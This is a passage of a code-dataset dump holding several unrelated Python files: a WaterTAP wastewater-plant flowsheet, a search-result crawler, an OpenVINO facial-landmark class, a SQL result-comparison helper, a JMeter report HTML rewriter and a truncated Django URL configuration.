m.fs.FeedWater.conc_mass_comp[0, \"X_S\"].fix(363 * pyo.units.g / pyo.units.m**3)\n m.fs.FeedWater.conc_mass_comp[0, \"X_BH\"].fix(50 * pyo.units.g / pyo.units.m**3)\n m.fs.FeedWater.conc_mass_comp[0, \"X_BA\"].fix(0 * pyo.units.g / pyo.units.m**3)\n m.fs.FeedWater.conc_mass_comp[0, \"X_P\"].fix(0 * pyo.units.g / pyo.units.m**3)\n m.fs.FeedWater.conc_mass_comp[0, \"S_O\"].fix(0 * pyo.units.g / pyo.units.m**3)\n m.fs.FeedWater.conc_mass_comp[0, \"S_NO\"].fix(0 * pyo.units.g / pyo.units.m**3)\n m.fs.FeedWater.conc_mass_comp[0, \"S_NH\"].fix(23 * pyo.units.g / pyo.units.m**3)\n m.fs.FeedWater.conc_mass_comp[0, \"S_ND\"].fix(5 * pyo.units.g / pyo.units.m**3)\n m.fs.FeedWater.conc_mass_comp[0, \"X_ND\"].fix(16 * pyo.units.g / pyo.units.m**3)\n m.fs.FeedWater.alkalinity.fix(7 * pyo.units.mol / pyo.units.m**3)\n\n # Reactor sizing in activated sludge process\n m.fs.R1.volume.fix(1000 * pyo.units.m**3)\n m.fs.R2.volume.fix(1000 * pyo.units.m**3)\n m.fs.R3.volume.fix(1333 * pyo.units.m**3)\n m.fs.R4.volume.fix(1333 * pyo.units.m**3)\n m.fs.R5.volume.fix(1333 * pyo.units.m**3)\n\n # Injection rates to Reactors 3, 4 and 5 of the activated sludge process\n for j in m.fs.props_ASM1.component_list:\n if j != \"S_O\":\n # All components except S_O have no injection\n m.fs.R3.injection[:, :, j].fix(0)\n m.fs.R4.injection[:, :, j].fix(0)\n m.fs.R5.injection[:, :, j].fix(0)\n # Then set injections rates for O2\n m.fs.R3.outlet.conc_mass_comp[:, \"S_O\"].fix(1.72e-3)\n m.fs.R4.outlet.conc_mass_comp[:, \"S_O\"].fix(2.43e-3)\n m.fs.R5.outlet.conc_mass_comp[:, \"S_O\"].fix(4.49e-4)\n\n # Set fraction of outflow from reactor 5 that goes to recycle\n m.fs.SP5.split_fraction[:, \"underflow\"].fix(0.6)\n\n # Secondary clarifier\n # TODO: Update once secondary clarifier with more detailed model available\n m.fs.CL1.split_fraction[0, \"effluent\", \"H2O\"].fix(0.48956)\n m.fs.CL1.split_fraction[0, \"effluent\", \"S_I\"].fix(0.48956)\n m.fs.CL1.split_fraction[0, \"effluent\", \"S_S\"].fix(0.48956)\n m.fs.CL1.split_fraction[0, \"effluent\", \"X_I\"].fix(0.00187)\n m.fs.CL1.split_fraction[0, \"effluent\", \"X_S\"].fix(0.00187)\n m.fs.CL1.split_fraction[0, \"effluent\", \"X_BH\"].fix(0.00187)\n m.fs.CL1.split_fraction[0, \"effluent\", \"X_BA\"].fix(0.00187)\n m.fs.CL1.split_fraction[0, \"effluent\", \"X_P\"].fix(0.00187)\n m.fs.CL1.split_fraction[0, \"effluent\", \"S_O\"].fix(0.48956)\n m.fs.CL1.split_fraction[0, \"effluent\", \"S_NO\"].fix(0.48956)\n m.fs.CL1.split_fraction[0, \"effluent\", \"S_NH\"].fix(0.48956)\n m.fs.CL1.split_fraction[0, \"effluent\", \"S_ND\"].fix(0.48956)\n m.fs.CL1.split_fraction[0, \"effluent\", \"X_ND\"].fix(0.00187)\n m.fs.CL1.split_fraction[0, \"effluent\", \"S_ALK\"].fix(0.48956)\n\n m.fs.CL1.surface_area.fix(1500 * pyo.units.m**2)\n\n # Sludge purge separator\n m.fs.SP6.split_fraction[:, \"recycle\"].fix(0.985)\n\n # Outlet pressure from recycle pump\n m.fs.P1.outlet.pressure.fix(101325)\n\n # Primary Clarifier\n # TODO: Update primary clarifier once more detailed model available\n m.fs.CL.split_fraction[0, \"effluent\", \"H2O\"].fix(0.993)\n m.fs.CL.split_fraction[0, \"effluent\", \"S_I\"].fix(0.993)\n m.fs.CL.split_fraction[0, \"effluent\", \"S_S\"].fix(0.993)\n m.fs.CL.split_fraction[0, \"effluent\", \"X_I\"].fix(0.5192)\n m.fs.CL.split_fraction[0, \"effluent\", \"X_S\"].fix(0.5192)\n m.fs.CL.split_fraction[0, \"effluent\", \"X_BH\"].fix(0.5192)\n m.fs.CL.split_fraction[0, \"effluent\", \"X_BA\"].fix(0.5192)\n m.fs.CL.split_fraction[0, \"effluent\", \"X_P\"].fix(0.5192)\n m.fs.CL.split_fraction[0, \"effluent\", \"S_O\"].fix(0.993)\n m.fs.CL.split_fraction[0, \"effluent\", \"S_NO\"].fix(0.993)\n m.fs.CL.split_fraction[0, \"effluent\", \"S_NH\"].fix(0.993)\n m.fs.CL.split_fraction[0, \"effluent\", \"S_ND\"].fix(0.993)\n m.fs.CL.split_fraction[0, \"effluent\", \"X_ND\"].fix(0.5192)\n m.fs.CL.split_fraction[0, \"effluent\", \"S_ALK\"].fix(0.993)\n\n # Anaerobic digester\n m.fs.RADM.volume_liquid.fix(3400)\n m.fs.RADM.volume_vapor.fix(300)\n m.fs.RADM.liquid_outlet.temperature.fix(308.15)\n\n # Dewatering Unit - fix either HRT or volume.\n m.fs.DU.hydraulic_retention_time.fix(1800 * pyo.units.s)\n\n # Set specific energy consumption averaged for centrifuge\n m.fs.DU.energy_electric_flow_vol_inlet[0] = 0.069 * pyo.units.kWh / pyo.units.m**3\n\n # Thickener unit\n m.fs.TU.hydraulic_retention_time.fix(86400 * pyo.units.s)\n m.fs.TU.diameter.fix(10 * pyo.units.m)\n\n\ndef initialize_system(m):\n # Initialize flowsheet\n # Apply sequential decomposition - 1 iteration should suffice\n seq = SequentialDecomposition()\n seq.options.tear_method = \"Direct\"\n seq.options.iterLim = 1\n seq.options.tear_set = [m.fs.stream2, m.fs.stream10adm]\n\n G = seq.create_graph(m)\n # Uncomment this code to see tear set and initialization order\n order = seq.calculation_order(G)\n print(\"Initialization Order\")\n for o in order:\n print(o[0].name)\n\n # Initial guesses for flow into first reactor\n tear_guesses1 = {\n \"flow_vol\": {0: 103531 / 24 / 3600},\n \"conc_mass_comp\": {\n (0, \"S_I\"): 0.028,\n (0, \"S_S\"): 0.012,\n (0, \"X_I\"): 1.532,\n (0, \"X_S\"): 0.069,\n (0, \"X_BH\"): 2.233,\n (0, \"X_BA\"): 0.167,\n (0, \"X_P\"): 0.964,\n (0, \"S_O\"): 0.0011,\n (0, \"S_NO\"): 0.0073,\n (0, \"S_NH\"): 0.0072,\n (0, \"S_ND\"): 0.0016,\n (0, \"X_ND\"): 0.0040,\n },\n \"alkalinity\": {0: 0.0052},\n \"temperature\": {0: 308.15},\n \"pressure\": {0: 101325},\n }\n\n tear_guesses2 = {\n \"flow_vol\": {0: 178 / 24 / 3600},\n \"conc_mass_comp\": {\n (0, \"S_I\"): 0.028,\n (0, \"S_S\"): 0.048,\n (0, \"X_I\"): 10.362,\n (0, \"X_S\"): 20.375,\n (0, \"X_BH\"): 10.210,\n (0, \"X_BA\"): 0.553,\n (0, \"X_P\"): 3.204,\n (0, \"S_O\"): 0.00025,\n (0, \"S_NO\"): 0.00169,\n (0, \"S_NH\"): 0.0289,\n (0, \"S_ND\"): 0.00468,\n (0, \"X_ND\"): 0.906,\n },\n \"alkalinity\": {0: 0.00715},\n \"temperature\": {0: 308.15},\n \"pressure\": {0: 101325},\n }\n\n # Pass the tear_guess to the SD tool\n seq.set_guesses_for(m.fs.R1.inlet, tear_guesses1)\n seq.set_guesses_for(m.fs.asm_adm.inlet, tear_guesses2)\n\n def function(unit):\n unit.initialize(outlvl=idaeslog.INFO_HIGH)\n\n seq.run(m, function)\n\n\ndef add_costing(m):\n m.fs.costing = WaterTAPCosting()\n m.fs.costing.base_currency = pyo.units.USD_2020\n\n # Costing Blocks\n m.fs.R1.costing = UnitModelCostingBlock(flowsheet_costing_block=m.fs.costing)\n m.fs.R2.costing = UnitModelCostingBlock(flowsheet_costing_block=m.fs.costing)\n m.fs.R3.costing = UnitModelCostingBlock(flowsheet_costing_block=m.fs.costing)\n m.fs.R4.costing = UnitModelCostingBlock(flowsheet_costing_block=m.fs.costing)\n m.fs.R5.costing = UnitModelCostingBlock(flowsheet_costing_block=m.fs.costing)\n m.fs.CL.costing = UnitModelCostingBlock(\n flowsheet_costing_block=m.fs.costing,\n costing_method=cost_primary_clarifier,\n )\n\n m.fs.CL1.costing = UnitModelCostingBlock(\n flowsheet_costing_block=m.fs.costing,\n costing_method=cost_circular_clarifier,\n )\n\n m.fs.RADM.costing = UnitModelCostingBlock(flowsheet_costing_block=m.fs.costing)\n m.fs.DU.costing = UnitModelCostingBlock(flowsheet_costing_block=m.fs.costing)\n m.fs.TU.costing = UnitModelCostingBlock(flowsheet_costing_block=m.fs.costing)\n\n # Leaving out mixer costs for now\n # m.fs.MX1.costing = UnitModelCostingBlock(flowsheet_costing_block=m.fs.costing)\n # m.fs.MX6.costing = UnitModelCostingBlock(flowsheet_costing_block=m.fs.costing)\n # m.fs.MX2.costing = UnitModelCostingBlock(flowsheet_costing_block=m.fs.costing)\n # m.fs.MX3.costing = UnitModelCostingBlock(flowsheet_costing_block=m.fs.costing)\n # m.fs.MX4.costing = UnitModelCostingBlock(flowsheet_costing_block=m.fs.costing)\n\n # process costing and add system level metrics\n m.fs.costing.cost_process()\n m.fs.costing.add_electricity_intensity(m.fs.FeedWater.properties[0].flow_vol)\n m.fs.costing.add_annual_water_production(m.fs.Treated.properties[0].flow_vol)\n m.fs.costing.add_LCOW(m.fs.FeedWater.properties[0].flow_vol)\n m.fs.costing.add_specific_energy_consumption(m.fs.FeedWater.properties[0].flow_vol)\n\n m.fs.objective = pyo.Objective(expr=m.fs.costing.LCOW)\n iscale.calculate_scaling_factors(m.fs)\n\n\ndef solve(blk, solver=None):\n if solver is None:\n solver = get_solver()\n results = solver.solve(blk, tee=True)\n pyo.assert_optimal_termination(results)\n return results\n\n\ndef display_results(m):\n m.display()\n\n unit_list = [\n \"FeedWater\",\n \"MX1\",\n \"R1\",\n \"R2\",\n \"R3\",\n \"R4\",\n \"R5\",\n \"SP5\",\n \"CL1\",\n \"SP6\",\n \"MX6\",\n \"Treated\",\n \"P1\",\n \"asm_adm\",\n \"RADM\",\n \"adm_asm\",\n \"CL\",\n \"TU\",\n \"DU\",\n \"MX2\",\n \"MX3\",\n \"MX4\",\n ]\n for u in unit_list:\n m.fs.component(u).report()\n\n\ndef display_costing(m):\n print(\"Levelized cost of treatment: %.2f $/m3\" % pyo.value(m.fs.costing.LCOW))\n\n print(\n \"Total operating cost: %.2f $/yr\" % pyo.value(m.fs.costing.total_operating_cost)\n )\n print(\"Total capital cost: %.2f $\" % pyo.value(m.fs.costing.total_capital_cost))\n\n print(\n \"Total annualized cost: %.2f $/yr\"\n % pyo.value(m.fs.costing.total_annualized_cost)\n )\n print(\n \"Specific energy consumption with respect to influent flowrate: %.1f kWh/m3\"\n % pyo.value(m.fs.costing.specific_energy_consumption)\n )\n\n print(\n \"electricity consumption R3\",\n pyo.value(m.fs.R3.electricity_consumption[0]),\n pyo.units.get_units(m.fs.R3.electricity_consumption[0]),\n )\n print(\n \"electricity consumption R4\",\n pyo.value(m.fs.R4.electricity_consumption[0]),\n pyo.units.get_units(m.fs.R4.electricity_consumption[0]),\n )\n print(\n \"electricity consumption R5\",\n pyo.value(m.fs.R5.electricity_consumption[0]),\n pyo.units.get_units(m.fs.R5.electricity_consumption[0]),\n )\n print(\n \"electricity consumption primary clarifier\",\n pyo.value(m.fs.CL.electricity_consumption[0]),\n pyo.units.get_units(m.fs.CL.electricity_consumption[0]),\n )\n print(\n \"electricity consumption secondary clarifier\",\n pyo.value(m.fs.CL1.electricity_consumption[0]),\n pyo.units.get_units(m.fs.CL1.electricity_consumption[0]),\n )\n print(\n \"electricity consumption AD\",\n pyo.value(m.fs.RADM.electricity_consumption[0]),\n pyo.units.get_units(m.fs.RADM.electricity_consumption[0]),\n )\n print(\n \"electricity consumption dewatering Unit\",\n pyo.value(m.fs.DU.electricity_consumption[0]),\n pyo.units.get_units(m.fs.DU.electricity_consumption[0]),\n )\n print(\n \"electricity consumption thickening Unit\",\n pyo.value(m.fs.TU.electricity_consumption[0]),\n pyo.units.get_units(m.fs.TU.electricity_consumption[0]),\n )\n print(\n \"Influent flow\",\n pyo.value(m.fs.FeedWater.flow_vol[0]),\n pyo.units.get_units(m.fs.FeedWater.flow_vol[0]),\n )\n print(\n \"flow into R3\",\n pyo.value(m.fs.R3.control_volume.properties_in[0].flow_vol),\n pyo.units.get_units(m.fs.R3.control_volume.properties_in[0].flow_vol),\n )\n print(\n \"flow into RADM\",\n pyo.value(m.fs.RADM.liquid_phase.properties_in[0].flow_vol),\n pyo.units.get_units(m.fs.RADM.liquid_phase.properties_in[0].flow_vol),\n )\n\n print(\n \"capital cost R1\",\n pyo.value(m.fs.R1.costing.capital_cost),\n pyo.units.get_units(m.fs.R1.costing.capital_cost),\n )\n print(\n \"capital cost R2\",\n pyo.value(m.fs.R2.costing.capital_cost),\n pyo.units.get_units(m.fs.R2.costing.capital_cost),\n )\n print(\n \"capital cost R3\",\n pyo.value(m.fs.R3.costing.capital_cost),\n pyo.units.get_units(m.fs.R3.costing.capital_cost),\n )\n print(\n \"capital cost R4\",\n pyo.value(m.fs.R4.costing.capital_cost),\n pyo.units.get_units(m.fs.R4.costing.capital_cost),\n )\n print(\n \"capital cost R5\",\n pyo.value(m.fs.R5.costing.capital_cost),\n pyo.units.get_units(m.fs.R5.costing.capital_cost),\n )\n print(\n \"capital cost primary clarifier\",\n pyo.value(m.fs.CL.costing.capital_cost),\n pyo.units.get_units(m.fs.CL.costing.capital_cost),\n )\n print(\n \"capital cost secondary clarifier\",\n pyo.value(m.fs.CL1.costing.capital_cost),\n pyo.units.get_units(m.fs.CL1.costing.capital_cost),\n )\n print(\n \"capital cost AD\",\n pyo.value(m.fs.RADM.costing.capital_cost),\n pyo.units.get_units(m.fs.RADM.costing.capital_cost),\n )\n print(\n \"capital cost dewatering Unit\",\n pyo.value(m.fs.DU.costing.capital_cost),\n pyo.units.get_units(m.fs.DU.costing.capital_cost),\n )\n print(\n \"capital cost thickener unit\",\n pyo.value(m.fs.TU.costing.capital_cost),\n pyo.units.get_units(m.fs.TU.costing.capital_cost),\n )\n\n\nif __name__ == \"__main__\":\n m, results = main()\n","repo_name":"MichaelPesce/watertap","sub_path":"watertap/examples/flowsheets/case_studies/full_water_resource_recovery_facility/BSM2.py","file_name":"BSM2.py","file_ext":"py","file_size_in_byte":23965,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"60"} +{"seq_id":"32984751883","text":"# -*- coding: utf-8 -*-\r\nfrom bs4 import BeautifulSoup\r\nfrom requests.exceptions import RequestException\r\nimport time\r\nimport random\r\nimport requests\r\nimport re\r\n\r\ntry:\r\n\tfrom conf import *\r\nexcept ImportError:\r\n\tpass\r\n\r\ndef is_sumext(tag):\r\n\tif not tag.has_attr('class'):\r\n\t\treturn False\r\n\tfor item in tag['class']:\r\n\t\tif item.find('sumext-tpl-') >= 0:\r\n\t\t\treturn True\r\n\treturn False\r\n\r\ndef has_date(tag):\r\n\tif not tag.has_attr('class'):\r\n\t\treturn False\r\n\tfor item in tag['class']:\r\n\t\tif item == ('res-show-date'):\r\n\t\t\treturn True\r\n\t\tif item == 'info':\r\n\t\t\treturn True\r\n\treturn False\r\n\r\ndef get_sumext_tpl(tag):\r\n\tfor item in tag['class']:\r\n\t\tif item.find('sumext-tpl-') >= 0:\r\n\t\t\treturn item\r\n\treturn 'null'\r\n\r\nre_date = r'(\\d{4}-\\d{2}-\\d{2})|((\\d{4}年)?\\d{1,2}月\\d{1,2}日)|(刚刚)|(\\d+分钟前)|(\\d+小时前)|(\\d+天前)'\r\ndef get_date_text(tag):\r\n\tresult = re.search(re_date, tag.text)\r\n\tif result:\r\n\t\treturn result[0]\r\n\treturn None\r\n\r\nuas = [\r\n\t'Mozilla/5.0 (Linux; Android 5.0; SM-G900P Build/LRX21T) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.100 Mobile Safari/537.36',\r\n\t'Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRA58N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.100 Mobile Safari/537.36',\r\n\t'Mozilla/5.0 (iPad; CPU OS 9_1 like Mac OS X) AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0 Mobile/13B143 Safari/601.1',\r\n\t'Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36',\r\n\t'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:55.0) Gecko/20100101 Firefox/55.0',\r\n]\r\ndef get_query_info(f, query):\r\n\turl = URL_TPL.format(query)\r\n\tua = random.choice(uas)\r\n\ttry:\r\n\t\tr = requests.get(url, headers={ 'User-Agent' : ua })\r\n\texcept RequestException as e:\r\n\t\treturn False\r\n\r\n\tif str(r.status_code) != '200':\r\n\t\tprint(ua)\r\n\t# print(r.text.encode(r.encoding).decode('utf-8'))\r\n\tsoup = BeautifulSoup(r.text.encode(r.encoding).decode('utf-8'), 'html.parser')\r\n\tsumext_tags = soup.find_all(is_sumext)\r\n\tresult = {\r\n\t\t'date_count': 0,\r\n\t\t'sumext_count': len(sumext_tags)\r\n\t}\r\n\r\n\tfor sumext_tag in sumext_tags:\r\n\t\tdate_tags = sumext_tag.find_all(has_date)\r\n\t\tif date_tags == None:\r\n\t\t\tcontinue\r\n\t\tdate_text = None\r\n\t\tfor date_tag in date_tags:\r\n\t\t\tdate_text = get_date_text(date_tag)\r\n\t\t\tif date_text == None:\r\n\t\t\t\tcontinue\r\n\t\tif date_text == None:\r\n\t\t\tcontinue\r\n\t\tresult['date_count'] += 1\r\n\t\tsumext_tpl = get_sumext_tpl(sumext_tag)\r\n\t\tpcurl = ''\r\n\t\ttry:\r\n\t\t\tpcurl = sumext_tag['data-pcurl']\r\n\t\texcept Exception:\r\n\t\t\tpass\r\n\t\tf.write('%s\t%s\t%s\t%s\\n' % (query, pcurl , sumext_tpl, date_text))\r\n\r\n\treturn result\r\n\r\ndef main():\r\n\tnow = int(time.time())\r\n\tf_o1 = open('./result_%d_1.txt' % now, 'w', encoding='utf-8')\r\n\tf_o2 = open('./result_%d_2.txt' % now, 'w', encoding='utf-8')\r\n\tf_o3 = open('./result_%d_error.txt' % now, 'w', encoding='utf-8')\r\n\terror_count = 0\r\n\t# status_list = [True * 10]\r\n\r\n\twith open(DATA_PATH, encoding='utf8') as f:\r\n\r\n\t\ti = 0\r\n\t\tfor line in f:\r\n\t\t\ti += 1\r\n\t\t\tquery = line[:-1]\r\n\t\t\tprint('%d\t%s' % (i, query))\r\n\t\t\ttry:\r\n\t\t\t\tresult = get_query_info(f_o1, query)\r\n\t\t\texcept Exception:\r\n\t\t\t\tf_o3.write(query + '\\n')\r\n\t\t\t\tcontinue\r\n\t\t\tis_error = 1 if result == False else 0\r\n\r\n\t\t\t# status_list.insert(0, is_error)\r\n\t\t\t# error_count += is_error\r\n\t\t\t# error_count -= int(status_list.pop())\r\n\r\n\t\t\t# if error_count >= 7:\r\n\t\t\t# \tf_out.write('Error')\r\n\t\t\t# \tbreak\r\n\r\n\t\t\tif is_error:\r\n\t\t\t\tcontinue\r\n\t\t\ttime.sleep(0.3)\r\n\t\t\tf_o2.write('%s\t%s\t%s\\n' % (query, result['date_count'], result['sumext_count']))\r\n\r\n\tf_o1.close()\r\n\tf_o2.close()\r\n\r\nmain()\r\n","repo_name":"jhygreatbug/chenyy-gist","sub_path":"Python/crawling-so-time/crawling.py","file_name":"crawling.py","file_ext":"py","file_size_in_byte":3548,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"43108042406","text":"'''\nThis is a sample class for a model. You may choose to use it as-is or make any changes to it.\nThis has been provided just to give you an idea of how to structure your model class.\n'''\n#!/usr/bin/env python -W ignore::DeprecationWarning\n\nimport cv2\nfrom basemodel import BaseModel\n\nclass FacialLandmarkDetection(BaseModel):\n '''\n Class for the Facial Landmark detection Model.\n '''\n \n def predict(self,croppedimage):\n '''\n This method is meant for running predictions on the input image.\n '''\n input_dict = self.preprocess_input(croppedimage)\n #initiate a request\n outputs=self.net.start_async(request_id=0,inputs=input_dict)\n\n #wait for response,process outputs and return final coordinates and image\n if self.net.requests[0].wait(-1) == 0:\n outputs = self.net.requests[0].outputs[self.output_name]\n eye_coord,right_eye,left_eye,image= self.preprocess_output(outputs,croppedimage)\n return eye_coord,right_eye,left_eye,image\n\n\n def preprocess_output(self, outputs,image):\n # Implemented improvement to detect the most prominent face if more than one face exists\n eye_size=25\n outputs=outputs[0]\n h,w,c=image.shape\n leyex,leyey =int(outputs[0][0]*w),int(outputs[1][0]*h)\n reyex,reyey =int(outputs[2][0]*w),int(outputs[3][0]*h)\n\n lx_min,lx_max=leyex-eye_size,leyex+eye_size\n ly_min,ly_max=leyey-eye_size,leyey+eye_size\n\n rx_min,rx_max=reyex-eye_size,reyex+eye_size\n ry_min,ry_max=reyey-eye_size,reyey+eye_size\n\n right_eye= image[ry_min:ry_max,rx_min:rx_max]\n left_eye= image[ly_min:ly_max,lx_min:lx_max]\n\n \n eye_coord=[[lx_min,ly_min,lx_max,ly_max],\n [rx_min,ry_min,rx_max,ry_max]]\n\n return eye_coord,right_eye,left_eye,image\n","repo_name":"P4Chandra/EdgeAI-Applications","sub_path":"EdgeAI_GazePointer/src/facial_landmarks_detection.py","file_name":"facial_landmarks_detection.py","file_ext":"py","file_size_in_byte":1849,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"72061027071","text":"from contextlib import suppress\nfrom pathlib import Path\nfrom typing import List, Tuple, Union, cast\n\nimport numpy as np\nimport pandas as pd\n\nfrom data_check.sql.query_result import QueryResult\n\nfrom ..file_ops import read_sql_file\nfrom ..result import DataCheckResult, ResultType\nfrom .base_check import BaseCheck\n\n\nclass SQLBaseCheck(BaseCheck):\n \"\"\"Implements basic functionality for SQL checks. Base class for others, not really a check in itself.\"\"\"\n\n def get_sql_result(self) -> Union[DataCheckResult, QueryResult]:\n return self.read_sql_file(sql_file=self.check_path)\n\n def read_sql_file(self, sql_file: Path) -> Union[DataCheckResult, QueryResult]:\n try:\n query = read_sql_file(\n sql_file=sql_file, template_data=self.data_check.template_data\n )\n return self.data_check.sql.run_query_with_result(\n query, params=self.data_check.sql_params\n )\n except Exception as exc:\n return self.data_check.output.prepare_result(\n ResultType.FAILED_WITH_EXCEPTION, source=sql_file, exception=exc\n )\n\n @staticmethod\n def merge_results(\n sql_result: pd.DataFrame, expect_result: pd.DataFrame\n ) -> pd.DataFrame:\n \"\"\"\n Merges the results of a SQL query and the expected results.\n Returns the merged DataFrame.\n \"\"\"\n SQLBaseCheck.convert_mixed_object_columns(sql_result, expect_result)\n\n try:\n df_merged = sql_result.merge(expect_result, indicator=True, how=\"outer\")\n except pd.errors.MergeError as e:\n raise e\n except ValueError:\n # treat both columns as str if their data types differ\n for sc in cast(List[str], sql_result.columns):\n if sc in expect_result.columns:\n if sql_result[sc].dtype != expect_result[sc].dtype:\n sql_result[sc], expect_result[sc] = SQLBaseCheck.convert_dtypes(\n sql_result[sc], expect_result[sc]\n )\n df_merged = sql_result.merge(expect_result, indicator=True, how=\"outer\")\n return df_merged\n\n @staticmethod\n def convert_mixed_object_columns(df_1: pd.DataFrame, df_2: pd.DataFrame):\n # If we have object columns, convert them to string\n # if they contain mixed int/float and string values.\n object_columns = set(df_1.columns[df_1.dtypes == \"object\"])\n object_columns.update(set(df_2.columns[df_2.dtypes == \"object\"]))\n for o_col in object_columns:\n if o_col in df_1.columns and o_col in df_2.columns:\n df_1_types = set(type(el) for el in df_1[o_col].array)\n df_2_types = set(type(el) for el in df_2[o_col].array)\n both_types = df_1_types.union(df_2_types)\n if both_types in (\n set([str, int]),\n set([str, float]),\n set([str, int, float]),\n ):\n # convert only if str is mixed with a numeric type\n df_1[o_col], df_2[o_col] = SQLBaseCheck.convert_dtypes(\n df_1[o_col], df_2[o_col]\n )\n\n @staticmethod\n def convert_dtypes(\n col_1: pd.Series, col_2: pd.Series\n ) -> Tuple[pd.Series, pd.Series]:\n # float64 can be in scientific notation, so it cannot be compared against a str\n if np.float64 in (col_1.dtype, col_2.dtype):\n # use Float64 instead of np.float64 since it is nullable\n with suppress(Exception):\n col_1 = col_1.astype(\"Float64\")\n with suppress(Exception):\n col_2 = col_2.astype(\"Float64\")\n else:\n col_1 = col_1.astype(\"str\")\n col_2 = col_2.astype(\"str\")\n return col_1, col_2\n","repo_name":"andrjas/data_check","sub_path":"data_check/checks/sql_base_check.py","file_name":"sql_base_check.py","file_ext":"py","file_size_in_byte":3869,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"60"} +{"seq_id":"45766566803","text":"# -*- coding: utf-8 -*-\n# @Time : 2020-03-17 13:00\n# @Author : Hunk\n# @File : jmeter_report_htmlRewrite.py\nimport os\nimport shutil\nimport re\n\nfrom bs4 import BeautifulSoup\nfrom base.logger import *\n\n\nclass html:\n @logged\n def __init__(self, html_path):\n self.index_path = '{}{}'.format(html_path, '/templates/index.html')\n CustomsGraphs_path = '{}{}'.format(\n html_path, '/static/content/pages/CustomsGraphs.html')\n OverTime_path = '{}{}'.format(\n html_path, '/static/content/pages/OverTime.html')\n ResponseTimes_path = '{}{}'.format(\n html_path, '/static/content/pages/ResponseTimes.html')\n Throughput_path = '{}{}'.format(\n html_path, '/static/content/pages/Throughput.html')\n self.static_path = [\n CustomsGraphs_path,\n OverTime_path,\n ResponseTimes_path,\n Throughput_path]\n\n @logged\n def html_Rewrite(self, path, Label, Rawrite_type, attribute='') -> bool:\n \"\"\"\n 重写HTML方法\n :param path: html路径\n :param Label: 标签\n :param Rawrite_type: 方法类型0方法1，1方法2\n :param attribute: 方法1时候是属性，方法2时候是要修改的字符串\n :return: 修改成功返回True,修改失败返回False\n \"\"\"\n try:\n with open(path, 'r', encoding='utf-8') as file:\n html = file.read()\n bs = BeautifulSoup(html, \"html.parser\")\n if Rawrite_type == 0:\n label_list = bs.findAll(Label)\n b_list = []\n i = 0\n for label in label_list:\n b_list.append(\n \"{}{}{}\".format(\n \"{{ url_for('static', path='\", label[attribute], \"') }}\"))\n label[attribute] = b_list[i]\n i += 1\n with open(path, 'w') as fp:\n fp.write(bs.prettify())\n i = -1\n label_list_check = bs.findAll(Label)\n for label_check in label_list_check:\n i += 1\n if label_check[attribute] == b_list[i]:\n LOGGER.info('方法1修改成功')\n return True\n\n else:\n LOGGER.error('方法1修改失败')\n return False\n elif Rawrite_type == 1:\n label_list = bs.findAll(href=re.compile(Label))\n for label in label_list:\n label['href'] = attribute\n continue\n with open(path, 'w') as fp:\n fp.write(bs.prettify())\n label_list_check = bs.findAll(\n href=re.compile(attribute))\n for label_check in label_list_check:\n if label_check['href'] == attribute:\n LOGGER.info('方法2修改成功')\n return True\n else:\n LOGGER.error('方法2修改失败')\n return False\n\n else:\n LOGGER.error('方法不存在')\n return False\n except Exception as e:\n LOGGER.error('操作异常：%s' % e)\n return False\n\n @logged\n def html_Rewrite_start(self):\n if self.html_Rewrite(\n self.index_path,\n 'script',\n 0,\n 'src') and self.html_Rewrite(\n self.index_path,\n 'a',\n 0,\n 'href') and self.html_Rewrite(\n self.index_path,\n 'link',\n 0,\n 'href'):\n if self.html_Rewrite(\n self.index_path,\n 'index.html',\n 1,\n 'jmeter_report'):\n LOGGER.info('跟地址重写成功')\n i_list = []\n for i in self.static_path:\n if self.html_Rewrite(i, 'index.html', 1, '/jmeter_report'):\n i_list.append(i)\n LOGGER.info('static目录重写成功')\n else:\n LOGGER.info('static目录重写失败')\n return False\n if set(i_list).issuperset(self.static_path):\n LOGGER.info('全部重写成功')\n return True\n else:\n LOGGER.error('最后一点点失败了')\n return True\n\n else:\n LOGGER.error('跟地址重写失败')\n return False\n else:\n LOGGER.error('标签重写失败')\n return False\n\n\nif __name__ == '__main__':\n j = html('/Users/dhp/Documents/j_NEW')\n print(j.html_Rewrite_start())\n","repo_name":"douhaipeng609/jmeter_report","sub_path":"module/jmeter_report/jmeter_report_htmlRewrite.py","file_name":"jmeter_report_htmlRewrite.py","file_ext":"py","file_size_in_byte":5166,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"73268736192","text":"from django.urls import path\r\n\r\nfrom integration import views\r\n\r\napp_name = 'integration'\r\n\r\nurlpatterns = [\r\n path('', views.DataSourceView.as_view(), name='data_source_list'),\r\n path('new/', views.DataSourceCreateView.as_view(), name='new_data_source'),\r\n path('/edit/', views.DataSourceEditView.as_view(), name='edit_data_source'),\r\n path('/delete/', views.DataSourceDeleteView.as_view(), name='delete_data_source'),\r\n path('/duplicate/', views.duplicate_data_source, name='duplicate_data_source'),\r\n path('download_configuration/', views.download_configuration, name='download_configuration'),\r\n path('import/', views.ImportView.as_view(), name='data_source_import'),\r\n path('import_table/', views.ImportTableView.as_view(), name='data_table_import'),\r\n path('import_schema/', views.ImportSchemaView.as_view(), name='data_schema_import'),\r\n path('import_stream/', views.ImportStreamView.as_view(), name='data_stream_import'),\r\n path('search/', views.SearchView.as_view(), name='data_source_search'),\r\n path('extract/', views.ExtractView.as_view(), name='data_source_extract'),\r\n path('upload/', views.FileUploadView.as_view(), name='file_upload'),\r\n path('stream_upload/', views.StreamDataUploadView.as_view(), name='stream_upload'),\r\n path('schema_validation/', views.DataSchemaValidateView.as_view(), 